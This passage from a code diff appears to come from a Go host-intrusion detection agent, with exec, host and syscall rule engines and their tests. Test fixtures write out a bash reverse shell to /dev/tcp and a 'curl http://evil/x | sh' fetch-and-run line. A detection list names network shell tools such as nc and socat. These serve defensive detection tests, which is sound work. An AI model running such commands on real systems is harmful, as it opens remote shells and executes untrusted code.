}
if current == nil {
continue
}
if assignment.Len() > 0 {
assignment.WriteByte(' ')
}
assignment.WriteString(line)
depth += strings.Count(line, "[") - strings.Count(line, "]")
if depth <= 0 {
if err := flush(); err != nil {
return nil, err
}
depth = 0
}
}
if err := flush(); err != nil {
return nil, err
}
return tables, nil
}
func optionalString(values map[string]string, key, fallback string) (string, error) {
raw, ok := values[key]
if !ok {
return fallback, nil
}
value, err := tomlString(raw)
if err != nil {
return "", fmt.Errorf("exec_rules %s: %w", key, err)
}
return value, nil
}
func optionalStringArray(values map[string]string, key string) ([]string, error) {
raw, ok := values[key]
if !ok {
return []string{}, nil
}
raw = strings.TrimSpace(raw)
if len(raw) < 2 || raw[0] != '[' || raw[len(raw)-1] != ']' {
return nil, fmt.Errorf("exec_rules %s: expected string array", key)
}
body := strings.TrimSpace(raw[1 : len(raw)-1])
if body == "" {
return []string{}, nil
}
body = strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(body), ","))
reader := csv.NewReader(strings.NewReader(body))
reader.TrimLeadingSpace = true
fields, err := reader.Read()
if err != nil {
return nil, fmt.Errorf("exec_rules %s: %w", key, err)
}
result := make([]string, 0, len(fields))
for _, field := range fields {
field = strings.TrimSpace(field)
if field == "" {
continue
}
// encoding/csv already removes TOML's ordinary double quotes. Literal
// single-quoted strings are not CSV syntax, so unwrap those explicitly.
if len(field) >= 2 && field[0] == '\'' && field[len(field)-1] == '\'' {
field = field[1 : len(field)-1]
}
result = append(result, field)
}
return result, nil
}
func tomlString(raw string) (string, error) {
raw = strings.TrimSpace(raw)
if len(raw) >= 2 && raw[0] == '\'' && raw[len(raw)-1] == '\'' {
return raw[1 : len(raw)-1], nil
}
value, err := strconv.Unquote(raw)
if err != nil {
return "", fmt.Errorf("expected string, got %q", raw)
}
return value, nil
}
func stripTOMLComment(line string) string {
inBasic, inLiteral, escaped := false, false, false
for index, char := range line {
if escaped {
escaped = false
continue
}
if char == '\\' && inBasic {
escaped = true
continue
}
if char == '"' && !inLiteral {
inBasic = !inBasic
continue
}
if char == '\'' && !inBasic {
inLiteral = !inLiteral
continue
}
if char == '#' && !inBasic && !inLiteral {
return line[:index]
}
}
return line
}
func hasPrefix(value string, prefixes []string) bool {
for _, prefix := range prefixes {
if strings.HasPrefix(value, prefix) {
return true
}
}
return false
}
func stringSet(values []string) map[string]bool {
result := make(map[string]bool, len(values))
for _, value := range values {
result[value] = true
}
return result
}
func truncateRunes(value string, limit int) string {
runes := []rune(value)
if len(runes) <= limit {
return value
}
return string(runes[:limit])
}
// RuleSIDs is kept sorted for operator catalogs and coverage assertions.
func (e ExecRuleEngine) RuleSIDs() []int {
result := make([]int, 0, len(e.Rules))
for _, rule := range e.Rules {
result = append(result, rule.SID)
}
sort.Ints(result)
return result
}

View file

@ -0,0 +1,109 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"os"
"path/filepath"
"reflect"
"testing"
)
func execEvent(filename string, argv []string, parent string) ExecEvent {
return ExecEvent{
PID: 10, PPID: 9, UID: 0, ParentComm: parent,
Filename: filename, Argv: argv,
}
}
func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) {
engine := DefaultExecRuleEngine()
tests := []struct {
event ExecEvent
sid int
}{
{execEvent("/tmp/.x/dropper", nil, "bash"), 100001},
{execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002},
{execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002},
{execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003},
{execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 {
t.Fatalf("benign command matched: %#v", alerts)
}
}
func TestExecAlertContract(t *testing.T) {
event := execEvent("/tmp/x", nil, "bash")
alert := DefaultExecRuleEngine().Match(event)[0]
if alert.SID != 100001 || alert.Severity != "CRITICAL" ||
alert.Signature != "exec_rule.fileless-execution" ||
alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) {
t.Fatalf("unexpected alert: %#v", alert)
}
want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]"
if alert.Detail != want {
t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want)
}
}
func TestExecRuleValidationAndParentExclude(t *testing.T) {
if _, err := NewExecRule(ExecRule{SID: 999}); err == nil {
t.Fatal("conditionless rule was accepted")
}
rule, err := NewExecRule(ExecRule{
SID: 1, Severity: "HIGH", Classtype: "test",
ExecComms: map[string]bool{"bash": true},
ParentExclude: map[string]bool{"sshd": true},
})
if err != nil {
t.Fatal(err)
}
if !rule.Matches(execEvent("/bin/bash", nil, "cron")) ||
rule.Matches(execEvent("/bin/bash", nil, "sshd")) {
t.Fatal("parent exclusion semantics drifted")
}
}
func TestLoadConfiguredExecRules(t *testing.T) {
path := filepath.Join(t.TempDir(), "rules.toml")
raw := []byte(`
[[exec_rules]]
sid = 190001
msg = "Custom interpreter rule"
severity = "critical"
classtype = "custom-exec"
exec_comm = [
"bash",
"zsh",
]
parent_comm = ["cron"]
parent_exclude = ["sshd"]
argv_regex = 'danger\s+now'
`)
if err := os.WriteFile(path, raw, 0o600); err != nil {
t.Fatal(err)
}
engine, err := LoadExecRuleEngine(path)
if err != nil {
t.Fatal(err)
}
if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) {
t.Fatalf("unexpected rule catalog: %#v", got)
}
alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron"))
if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" {
t.Fatalf("configured rule mismatch: %#v", alerts)
}
}

View file

@ -0,0 +1,139 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/json"
"fmt"
"strconv"
"strings"
)
// HostEvent is the common typed record for network, filesystem, identity,
// capability, and module activity that is neither exec nor raw syscall data.
type HostEvent struct {
Event string `json:"event"`
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
Comm string `json:"comm"`
ParentComm string `json:"parent_comm"`
Path string `json:"path"`
Argv []string `json:"argv"`
PeerIP string `json:"peer_ip"`
PeerPort int `json:"peer_port"`
LocalIP string `json:"local_ip"`
LocalPort int `json:"local_port"`
TargetUID int `json:"target_uid"`
TargetGID int `json:"target_gid"`
Mode int `json:"mode"`
Capabilities []string `json:"capabilities"`
ModuleName string `json:"module_name"`
}
func (e HostEvent) ArgvString() string {
parts := make([]string, 0, len(e.Argv)+1)
parts = append(parts, e.Path)
parts = append(parts, e.Argv...)
return strings.TrimSpace(strings.Join(parts, " "))
}
// UnmarshalJSON accepts the same compatibility aliases as Python ruleops:
// type/event, remote/bind endpoint names, numeric strings, singular capability,
// and module name. Defaults of -1 for absent target IDs are semantically
// significant because zero means a requested root transition.
func (e *HostEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.TargetUID, e.TargetGID = -1, -1
e.Event = stringValue(firstValue(values, "event", "type"))
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.Comm = stringValue(values["comm"])
e.ParentComm = stringValue(values["parent_comm"])
e.Path = stringValue(values["path"])
e.Argv = stringSlice(values["argv"])
e.PeerIP = stringValue(firstValue(values, "peer_ip", "remote_ip"))
e.PeerPort = integerValue(firstValue(values, "peer_port", "remote_port"), 0)
e.LocalIP = stringValue(firstValue(values, "local_ip", "bind_ip", "listen_ip"))
e.LocalPort = integerValue(firstValue(values, "local_port", "bind_port", "listen_port"), 0)
e.TargetUID = integerValue(firstValue(values, "target_uid", "uid_target"), -1)
e.TargetGID = integerValue(firstValue(values, "target_gid", "gid_target"), -1)
e.Mode = integerValue(values["mode"], 0)
e.Capabilities = stringSlice(firstValue(values, "capabilities", "caps", "cap_effective"))
if len(e.Capabilities) == 0 {
if capability := stringValue(values["capability"]); capability != "" {
e.Capabilities = []string{capability}
}
}
for index := range e.Capabilities {
e.Capabilities[index] = strings.ToUpper(e.Capabilities[index])
}
e.ModuleName = stringValue(firstValue(values, "module_name", "name"))
return nil
}
func firstValue(values map[string]any, keys ...string) any {
for _, key := range keys {
if value, ok := values[key]; ok && value != nil && stringValue(value) != "" {
return value
}
}
return nil
}
func stringValue(value any) string {
if value == nil {
return ""
}
if text, ok := value.(string); ok {
return text
}
return fmt.Sprint(value)
}
func integerValue(value any, fallback int) int {
if value == nil {
return fallback
}
switch typed := value.(type) {
case float64:
return int(typed)
case int:
return typed
case string:
text := strings.TrimSpace(strings.ToLower(typed))
if strings.HasPrefix(text, "0o") {
parsed, err := strconv.ParseInt(text[2:], 8, 64)
if err == nil {
return int(parsed)
}
}
parsed, err := strconv.ParseInt(text, 0, 64)
if err == nil {
return int(parsed)
}
}
return fallback
}
func stringSlice(value any) []string {
if text, ok := value.(string); ok {
if text == "" {
return []string{}
}
return []string{text}
}
items, ok := value.([]any)
if !ok {
return []string{}
}
result := make([]string, 0, len(items))
for _, item := range items {
result = append(result, stringValue(item))
}
return result
}

View file

@ -0,0 +1,201 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"fmt"
"regexp"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
)
type HostRule struct {
SID int
Message string
Severity string
Classtype string
Events map[string]bool
Comms map[string]bool
ParentComms map[string]bool
PeerPublic *bool
PeerPorts map[int]bool
PeerPortExclude map[int]bool
LocalPorts map[int]bool
LocalPortExclude map[int]bool
PathPrefixes []string
TargetUIDs map[int]bool
TargetGIDs map[int]bool
CapabilitiesAny map[string]bool
ModuleNames map[string]bool
ArgvRegex string
compiled *regexp.Regexp
}
func NewHostRule(rule HostRule) (HostRule, error) {
if len(rule.Events) == 0 {
return HostRule{}, fmt.Errorf("rule sid=%d has no event types", rule.SID)
}
if len(rule.Comms) == 0 && len(rule.ParentComms) == 0 && rule.PeerPublic == nil &&
len(rule.PeerPorts) == 0 && len(rule.PeerPortExclude) == 0 &&
len(rule.LocalPorts) == 0 && len(rule.LocalPortExclude) == 0 &&
len(rule.PathPrefixes) == 0 && len(rule.TargetUIDs) == 0 &&
len(rule.TargetGIDs) == 0 && len(rule.CapabilitiesAny) == 0 &&
len(rule.ModuleNames) == 0 && rule.ArgvRegex == "" {
return HostRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
}
if rule.ArgvRegex != "" {
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
if err != nil {
return HostRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
}
rule.compiled = compiled
}
return rule, nil
}
func (r HostRule) Matches(event HostEvent) bool {
if !r.Events[event.Event] || len(r.Comms) > 0 && !r.Comms[event.Comm] ||
len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
return false
}
if r.PeerPublic != nil && netutil.IsPublicIP(event.PeerIP) != *r.PeerPublic {
return false
}
if len(r.PeerPorts) > 0 && !r.PeerPorts[event.PeerPort] ||
r.PeerPortExclude[event.PeerPort] ||
len(r.LocalPorts) > 0 && !r.LocalPorts[event.LocalPort] ||
r.LocalPortExclude[event.LocalPort] {
return false
}
if len(r.PathPrefixes) > 0 && !pathMatches(event.Path, r.PathPrefixes) {
return false
}
if len(r.TargetUIDs) > 0 && !r.TargetUIDs[event.TargetUID] ||
len(r.TargetGIDs) > 0 && !r.TargetGIDs[event.TargetGID] ||
len(r.ModuleNames) > 0 && !r.ModuleNames[event.ModuleName] {
return false
}
if len(r.CapabilitiesAny) > 0 {
matched := false
for _, capability := range event.Capabilities {
if r.CapabilitiesAny[strings.ToUpper(capability)] {
matched = true
break
}
}
if !matched {
return false
}
}
return r.compiled == nil || r.compiled.MatchString(event.ArgvString())
}
func (r HostRule) Alert(event HostEvent) model.Alert {
capabilities := strings.Join(event.Capabilities, ",")
mode := "-"
if event.Mode != 0 {
mode = fmt.Sprintf("0o%o", event.Mode)
}
module := event.ModuleName
if module == "" {
module = "-"
}
displayCaps := capabilities
if displayCaps == "" {
displayCaps = "-"
}
return model.Alert{
SID: r.SID, Severity: r.Severity,
Signature: "host_rule." + r.Classtype, Classtype: r.Classtype,
Key: fmt.Sprintf(
"host:%d:%s:%d:%s:%d:%s:%d:%s:%d:%d:%d:%s:%s",
r.SID, event.Event, event.PID, event.PeerIP, event.PeerPort,
event.LocalIP, event.LocalPort, event.Path, event.TargetUID,
event.TargetGID, event.Mode, capabilities, event.ModuleName),
Detail: fmt.Sprintf(
"sid=%d %s - pid=%d ppid=%d comm=%s event=%s peer=%s:%d local=%s:%d path=%s target_uid=%d target_gid=%d mode=%s capabilities=%s module=%s",
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Event,
event.PeerIP, event.PeerPort, event.LocalIP, event.LocalPort,
event.Path, event.TargetUID, event.TargetGID, mode, displayCaps, module),
PIDs: []int{event.PID},
}
}
type HostRuleEngine struct{ Rules []HostRule }
func DefaultHostRuleEngine() HostRuleEngine {
public := true
specifications := []HostRule{
{SID: 100067, Message: "Interpreter connected to an unusual public port", Severity: "HIGH", Classtype: "suspicious-egress", Events: stringSet([]string{"tcp_connect"}), Comms: hostInterpreters, PeerPublic: &public, PeerPortExclude: commonPublicPorts},
{SID: 100068, Message: "Interpreter opened a listener on an unusual local port", Severity: "HIGH", Classtype: "suspicious-listener", Events: stringSet([]string{"listen"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
{SID: 100073, Message: "Interpreter bound an unusual local port", Severity: "HIGH", Classtype: "suspicious-bind", Events: stringSet([]string{"bind"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
{SID: 100069, Message: "Interpreter wrote to a persistence path", Severity: "HIGH", Classtype: "persistence-write", Events: stringSet([]string{"file_write"}), Comms: hostInterpreters, PathPrefixes: persistencePrefixes},
{SID: 100070, Message: "Permissions or ownership changed on a persistence path", Severity: "HIGH", Classtype: "persistence-permission-change", Events: stringSet([]string{"chmod", "chown"}), PathPrefixes: persistencePrefixes},
{SID: 100071, Message: "Interpreter requested a root UID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setuid"}), Comms: hostInterpreters, TargetUIDs: intSet([]int{0})},
{SID: 100072, Message: "Interpreter requested a root GID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setgid"}), Comms: hostInterpreters, TargetGIDs: intSet([]int{0})},
{SID: 100076, Message: "Interpreter accepted inbound traffic on an unusual local port", Severity: "HIGH", Classtype: "suspicious-accept", Events: stringSet([]string{"accept"}), Comms: hostInterpreters, PeerPublic: &public, LocalPortExclude: commonPublicPorts},
{SID: 100077, Message: "Interpreter requested sensitive Linux capabilities", Severity: "HIGH", Classtype: "capability-escalation", Events: stringSet([]string{"capset"}), Comms: hostInterpreters, CapabilitiesAny: sensitiveCapabilities},
{SID: 100078, Message: "Kernel module load requested from a writable runtime path", Severity: "CRITICAL", Classtype: "suspicious-module-load", Events: stringSet([]string{"module_load"}), PathPrefixes: writableRuntimePrefixes},
}
rules := make([]HostRule, 0, len(specifications))
for _, specification := range specifications {
rule, err := NewHostRule(specification)
if err != nil {
panic(err)
}
rules = append(rules, rule)
}
return HostRuleEngine{Rules: rules}
}
func (e HostRuleEngine) Match(event HostEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
var hostInterpreterNames = strings.Fields(
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
"node nodejs nc ncat netcat socat curl wget fetch")
var hostInterpreters = stringSet(hostInterpreterNames)
// HostInterpreterComms returns the process names used by typed host rules.
// Kernel sources use the same list for in-BPF prefiltering.
func HostInterpreterComms() []string {
return append([]string(nil), hostInterpreterNames...)
}
var commonPublicPorts = intSet([]int{22, 53, 80, 123, 443, 853})
var persistencePrefixes = []string{
"/etc/cron.d/", "/etc/crontab", "/etc/systemd/system/",
"/etc/ld.so.preload", "/root/.ssh/authorized_keys",
"/etc/sudoers", "/etc/sudoers.d/",
}
var writableRuntimePrefixes = []string{"/tmp/", "/var/tmp/", "/dev/shm/", "/run/user/"}
var sensitiveCapabilities = stringSet([]string{
"CAP_SYS_ADMIN", "CAP_SYS_MODULE", "CAP_SYS_PTRACE",
"CAP_DAC_READ_SEARCH", "CAP_NET_ADMIN", "CAP_NET_RAW",
})
func intSet(values []int) map[int]bool {
result := make(map[int]bool, len(values))
for _, value := range values {
result[value] = true
}
return result
}
func pathMatches(path string, prefixes []string) bool {
for _, prefix := range prefixes {
if path == prefix || strings.HasPrefix(path, prefix) {
return true
}
}
return false
}

View file

@ -0,0 +1,90 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/json"
"strings"
"testing"
)
func TestHostEventCompatibilityAliases(t *testing.T) {
var event HostEvent
raw := []byte(`{"type":"accept","pid":"42","remote_ip":"8.8.8.8","remote_port":"51515","bind_ip":"0.0.0.0","bind_port":"4444","target_uid":"0","mode":"0o777","capability":"cap_sys_admin","name":"evil"}`)
if err := json.Unmarshal(raw, &event); err != nil {
t.Fatal(err)
}
if event.Event != "accept" || event.PID != 42 || event.PeerIP != "8.8.8.8" ||
event.PeerPort != 51515 || event.LocalPort != 4444 || event.TargetUID != 0 ||
event.TargetGID != -1 || event.Mode != 0o777 || event.Capabilities[0] != "CAP_SYS_ADMIN" ||
event.ModuleName != "evil" {
t.Fatalf("compatibility decode drifted: %#v", event)
}
}
func TestDefaultHostRulesMatchAllBuiltins(t *testing.T) {
engine := DefaultHostRuleEngine()
tests := []struct {
event HostEvent
sid int
}{
{HostEvent{Event: "tcp_connect", PID: 1, Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 4444, TargetUID: -1, TargetGID: -1}, 100067},
{HostEvent{Event: "listen", PID: 2, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100068},
{HostEvent{Event: "bind", PID: 3, Comm: "python3", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100073},
{HostEvent{Event: "file_write", PID: 4, Comm: "python3", Path: "/etc/systemd/system/evil.service", TargetUID: -1, TargetGID: -1}, 100069},
{HostEvent{Event: "chmod", PID: 5, Comm: "chmod", Path: "/etc/cron.d/evil", Mode: 0o777, TargetUID: -1, TargetGID: -1}, 100070},
{HostEvent{Event: "setuid", PID: 6, Comm: "python3", TargetUID: 0, TargetGID: -1}, 100071},
{HostEvent{Event: "setgid", PID: 7, Comm: "python3", TargetUID: -1, TargetGID: 0}, 100072},
{HostEvent{Event: "accept", PID: 8, Comm: "python3", PeerIP: "8.8.8.8", LocalPort: 4444, TargetUID: -1, TargetGID: -1}, 100076},
{HostEvent{Event: "capset", PID: 9, Comm: "python3", Capabilities: []string{"cap_sys_admin"}, TargetUID: -1, TargetGID: -1}, 100077},
{HostEvent{Event: "module_load", PID: 10, Comm: "insmod", Path: "/tmp/evil.ko", TargetUID: -1, TargetGID: -1}, 100078},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
}
func TestHostInterpreterCommsReturnsCopy(t *testing.T) {
first := HostInterpreterComms()
if len(first) == 0 {
t.Fatal("interpreter list must not be empty")
}
original := first[0]
first[0] = "mutated"
if HostInterpreterComms()[0] != original {
t.Fatal("caller mutated shared interpreter list")
}
}
func TestHostRulesRejectCommonOrPrivateNetworkShapes(t *testing.T) {
engine := DefaultHostRuleEngine()
for _, event := range []HostEvent{
{Event: "tcp_connect", Comm: "python3", PeerIP: "8.8.8.8", PeerPort: 443},
{Event: "tcp_connect", Comm: "python3", PeerIP: "10.0.0.2", PeerPort: 4444},
{Event: "listen", Comm: "python3", LocalPort: 80},
} {
if alerts := engine.Match(event); len(alerts) != 0 {
t.Fatalf("benign network shape matched: %#v", alerts)
}
}
}
func TestHostAlertContract(t *testing.T) {
event := HostEvent{
Event: "chmod", PID: 42, PPID: 1, UID: 0, Comm: "chmod",
Path: "/etc/cron.d/evil", TargetUID: -1, TargetGID: -1, Mode: 0o777,
}
alert := DefaultHostRuleEngine().Match(event)[0]
if alert.Key != "host:100070:chmod:42::0::0:/etc/cron.d/evil:-1:-1:511::" ||
!strings.Contains(alert.Detail, "mode=0o777 capabilities=- module=-") {
t.Fatalf("unexpected host alert: %#v", alert)
}
}

View file

@ -0,0 +1,121 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"bufio"
"encoding/json"
"fmt"
"io"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
type EventKind string
const (
ExecKind EventKind = "exec"
SyscallKind EventKind = "syscall"
HostKind EventKind = "host"
)
// RuleSet is the transport-independent destination for every live or replayed
// kernel event. A cilium/ebpf source only needs to decode into these records;
// it does not need to know rule details or alert schemas.
type RuleSet struct {
Exec ExecRuleEngine
Syscall SyscallRuleEngine
Host HostRuleEngine
}
func NewRuleSet(exec ExecRuleEngine) RuleSet {
return RuleSet{
Exec: exec, Syscall: DefaultSyscallRuleEngine(), Host: DefaultHostRuleEngine(),
}
}
func (r RuleSet) MatchJSON(raw []byte) ([]model.Alert, error) {
kind, err := eventKind(raw)
if err != nil {
return nil, err
}
switch kind {
case ExecKind:
var event ExecEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Exec.Match(event), nil
case SyscallKind:
var event SyscallEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Syscall.Match(event), nil
case HostKind:
var event HostEvent
if err := json.Unmarshal(raw, &event); err != nil {
return nil, err
}
return r.Host.Match(event), nil
default:
return nil, fmt.Errorf("event JSON must be an exec, syscall, or host event")
}
}
func eventKind(raw []byte) (EventKind, error) {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return "", err
}
explicit := strings.ToLower(stringValue(firstValue(values, "event", "type")))
switch explicit {
case "exec", "execve":
return ExecKind, nil
case "syscall", "sys":
return SyscallKind, nil
case "tcp_connect", "bind", "listen", "accept", "file_write",
"chmod", "chown", "setuid", "setgid", "capset", "module_load":
return HostKind, nil
}
if _, ok := values["filename"]; ok {
return ExecKind, nil
}
if _, ok := values["argv"]; ok {
return ExecKind, nil
}
if _, ok := values["parent_comm"]; ok {
return ExecKind, nil
}
if _, ok := values["syscall"]; ok {
return SyscallKind, nil
}
if _, ok := values["args"]; ok {
return SyscallKind, nil
}
return "", fmt.Errorf("event JSON must be an exec, syscall, or host event")
}
// ScanJSONL feeds non-empty lines to the matcher callback with line-numbered
// errors. Scanner capacity is raised for long argv or future module metadata.
func ScanJSONL(reader io.Reader, consume func([]byte) error) error {
scanner := bufio.NewScanner(reader)
scanner.Buffer(make([]byte, 64*1024), 1024*1024)
line := 0
for scanner.Scan() {
line++
raw := bytesTrimSpace(scanner.Bytes())
if len(raw) == 0 {
continue
}
if err := consume(raw); err != nil {
return fmt.Errorf("event stream line %d: %w", line, err)
}
}
return scanner.Err()
}
func bytesTrimSpace(value []byte) []byte {
return []byte(strings.TrimSpace(string(value)))
}

View file

@ -0,0 +1,45 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"strings"
"testing"
)
func TestRuleSetMatchesCompatibilityJSON(t *testing.T) {
rules := NewRuleSet(DefaultExecRuleEngine())
tests := []struct {
raw string
sid int
}{
{`{"type":"execve","pid":"42","ppid":"1","uid":"1000","parent_comm":"nginx","filename":"/bin/sh","argv":["-c","id"]}`, 100003},
{`{"type":"sys","pid":"43","comm":"loader","syscall":"mprotect","args":["0x1000","0x1000",0],"arg2":"0x6"}`, 100060},
{`{"type":"listen","pid":"44","comm":"python3","listen_ip":"0.0.0.0","listen_port":"4444"}`, 100068},
}
for _, test := range tests {
alerts, err := rules.MatchJSON([]byte(test.raw))
if err != nil {
t.Fatal(err)
}
found := false
for _, alert := range alerts {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %s: %#v", test.sid, test.raw, alerts)
}
}
}
func TestScanJSONLReportsLine(t *testing.T) {
err := ScanJSONL(strings.NewReader("\n{}\n"), func(raw []byte) error {
_, err := NewRuleSet(DefaultExecRuleEngine()).MatchJSON(raw)
return err
})
if err == nil || !strings.Contains(err.Error(), "line 2") {
t.Fatalf("missing line context: %v", err)
}
}

View file

@ -0,0 +1,42 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import "encoding/json"
// SyscallEvent is the transport-neutral security telemetry consumed by the
// syscall rules. Unsupplied arguments decode as zero, matching Python's
// dataclass defaults and the partial fixtures accepted by rule operations.
type SyscallEvent struct {
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
Comm string `json:"comm"`
Syscall string `json:"syscall"`
Args [6]uint64 `json:"args"`
Text string `json:"text"`
}
func (e *SyscallEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.Comm = stringValue(values["comm"])
e.Syscall = stringValue(values["syscall"])
e.Text = stringValue(values["text"])
if args, ok := values["args"].([]any); ok {
for index := 0; index < len(args) && index < len(e.Args); index++ {
e.Args[index] = uint64(integerValue(args[index], 0))
}
}
for index, key := range []string{"arg0", "arg1", "arg2", "arg3", "arg4", "arg5"} {
if value, ok := values[key]; ok {
e.Args[index] = uint64(integerValue(value, int(e.Args[index])))
}
}
return nil
}

View file

@ -0,0 +1,123 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"fmt"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
const (
protWrite = 0x2
protExec = 0x4
ptraceTrace = 0
ptraceAttach = 16
ptraceSeize = 0x4206
prSetSeccomp = 22
)
type syscallPredicate func(SyscallEvent) bool
type SyscallRule struct {
SID int
Message string
Severity string
Classtype string
Syscalls map[string]bool
Predicate syscallPredicate
}
func (r SyscallRule) Matches(event SyscallEvent) bool {
return r.Syscalls[event.Syscall] && r.Predicate(event)
}
func (r SyscallRule) Alert(event SyscallEvent) model.Alert {
detail := fmt.Sprintf(
"sid=%d %s — pid=%d ppid=%d comm=%s syscall=%s args=[%#x, %#x, %#x, %#x]",
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Syscall,
event.Args[0], event.Args[1], event.Args[2], event.Args[3])
if event.Text != "" {
detail += " text=[" + truncateRunes(event.Text, 80) + "]"
}
return model.Alert{
SID: r.SID, Severity: r.Severity,
Signature: "syscall_rule." + r.Classtype, Classtype: r.Classtype,
Key: fmt.Sprintf("syscall:%d:%d:%s:%x:%x",
r.SID, event.PID, event.Syscall, event.Args[0], event.Args[2]),
Detail: detail, PIDs: []int{event.PID},
}
}
type SyscallRuleEngine struct {
Rules []SyscallRule
}
func DefaultSyscallRuleEngine() SyscallRuleEngine {
return SyscallRuleEngine{Rules: []SyscallRule{
{
SID: 100060, Message: "mprotect made memory writable and executable",
Severity: "CRITICAL", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mprotect"}),
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
},
{
SID: 100061, Message: "mmap requested writable and executable memory",
Severity: "CRITICAL", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mmap"}),
Predicate: func(event SyscallEvent) bool { return protectedWX(event.Args[2]) },
},
{
SID: 100062, Message: "memfd_create used for anonymous in-memory file staging",
Severity: "MEDIUM", Classtype: "fileless-execution",
Syscalls: stringSet([]string{"memfd_create"}), Predicate: alwaysSyscall,
},
{
SID: 100063, Message: "ptrace anti-debug or attach operation observed",
Severity: "HIGH", Classtype: "anti-analysis",
Syscalls: stringSet([]string{"ptrace"}),
Predicate: func(event SyscallEvent) bool {
request := event.Args[0]
return request == ptraceTrace || request == ptraceAttach || request == ptraceSeize
},
},
{
SID: 100064,
Message: "seccomp sandboxing call observed (possible anti-analysis hardening)",
Severity: "MEDIUM", Classtype: "anti-analysis",
Syscalls: stringSet([]string{"prctl", "seccomp"}),
Predicate: func(event SyscallEvent) bool {
return event.Syscall == "seccomp" || event.Args[0] == prSetSeccomp
},
},
{
SID: 100065, Message: "cross-process memory read/write syscall observed",
Severity: "HIGH", Classtype: "credential-access",
Syscalls: stringSet([]string{"process_vm_readv", "process_vm_writev"}),
Predicate: alwaysSyscall,
},
{
SID: 100066,
Message: "memory locking syscall observed (possible protected in-memory payload)",
Severity: "MEDIUM", Classtype: "memory-obfuscation",
Syscalls: stringSet([]string{"mlock", "mlock2", "mlockall"}),
Predicate: alwaysSyscall,
},
}}
}
func (e SyscallRuleEngine) Match(event SyscallEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
func protectedWX(protection uint64) bool {
return protection&protWrite != 0 && protection&protExec != 0
}
func alwaysSyscall(SyscallEvent) bool { return true }

View file

@ -0,0 +1,64 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"strings"
"testing"
)
func syscallEvent(name string, arg0, arg2 uint64) SyscallEvent {
